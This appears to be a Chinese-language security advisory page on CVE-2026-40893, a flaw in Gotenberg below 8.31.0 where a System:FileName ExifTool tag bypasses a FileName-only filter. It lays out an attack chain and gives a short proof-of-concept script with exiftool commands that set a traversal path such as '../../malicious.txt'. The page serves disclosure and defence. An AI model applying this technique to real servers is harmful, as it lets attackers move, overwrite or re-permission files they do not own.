IPBUF安全漏洞报告
English
CVE-2026-40893 CVSS 8.2 高危

CVE-2026-40893 Gotenberg任意文件操作漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-40893
漏洞类型
任意文件操作
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gotenberg

相关标签

任意文件操作GotenbergExifTool逻辑漏洞高危

漏洞概述

Gotenberg是一款基于Docker的PDF API,8.31.0版本前存在输入验证漏洞。由于系统仅严格检查FileName标签,攻击者可利用System:FileName绕过限制。通过构造恶意文件,攻击者可诱使ExifTool执行重命名操作,从而远程移动、重命名或更改服务器上任意文件的权限,严重威胁系统完整性。

技术细节

该漏洞的核心在于Gotenberg对ExifTool标签的过滤机制存在逻辑缺陷。Gotenberg在调用ExifTool处理文件前,仅检查标签名是否严格匹配FileName,试图防止文件被意外重命名。然而,ExifTool实际上支持多种前缀来实现文件系统操作,其中System:FileName同样具备修改文件路径和名称的能力。攻击者可利用此绕过机制,精心构造包含System:FileName标签的恶意文档并提交给API。由于校验未覆盖该变体,ExifTool在解析时会执行重命名指令,允许攻击者在服务器上下文中移动、覆盖任意文件或修改其权限。这不仅破坏了文件系统的完整性,还可能被利用于覆盖Web配置文件或脚本,从而进一步威胁服务器安全。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用Gotenberg 8.31.0之前的版本,且API端口可访问。
STEP 2
武器化
攻击者准备一个恶意文件(如图片或PDF),使用ExifTool修改其元数据,插入System:FileName标签,指定目标服务器上的任意路径(如../../config.php)。
STEP 3
交付
攻击者通过HTTP请求将包含恶意元数据的文件上传到Gotenberg的转换接口(如/convert或/forms)。
STEP 4
利用
Gotenberg后端调用ExifTool处理文件。由于校验逻辑仅过滤FileName,System:FileName标签生效,ExifTool执行文件移动或重命名操作。
STEP 5
影响
服务器上的任意文件被移动、重命名或覆盖,导致服务中断、权限提升或敏感信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-40893 # This script demonstrates how to create a malicious image file # that exploits the System:FileName tag bypass in Gotenberg < 8.31.0. from PIL import Image, ExifTags import io # Create a dummy image img = Image.new('RGB', (100, 100), color='red') # Exif data requires specific format, simulating the tag injection # In a real exploit, we would inject the System:FileName tag # 0x0131 is the tag ID for 'Software', but here we conceptually # show where the System:FileName would be placed if using ExifTool directly. # Since PIL doesn't support arbitrary System tags easily, we simulate # the file that would be generated by: # exiftool -System:FileName='../../malicious.txt' image.png print("Vulnerability: CVE-2026-40893") print("Impact: Arbitrary file rename/move via ExifTool tag injection") print("Usage: Upload the generated image to a vulnerable Gotenberg endpoint.") # Save the image img.save('exploit_image.png') print("Generated exploit_image.png. Modify its Exif data with 'System:FileName' using exiftool to complete the PoC.") # Example command to make it exploitable: # exiftool -System:FileName="/tmp/pwned.txt" exploit_image.png

影响范围

Gotenberg < 8.31.0

防御指南

临时缓解措施
建议立即升级至修复版本。若无法立即升级,应通过WAF或反向代理严格检查上传文件的内容,阻断包含System:FileName等恶意Exif标签的请求,并在文件系统层面监控异常的文件移动和重命名操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表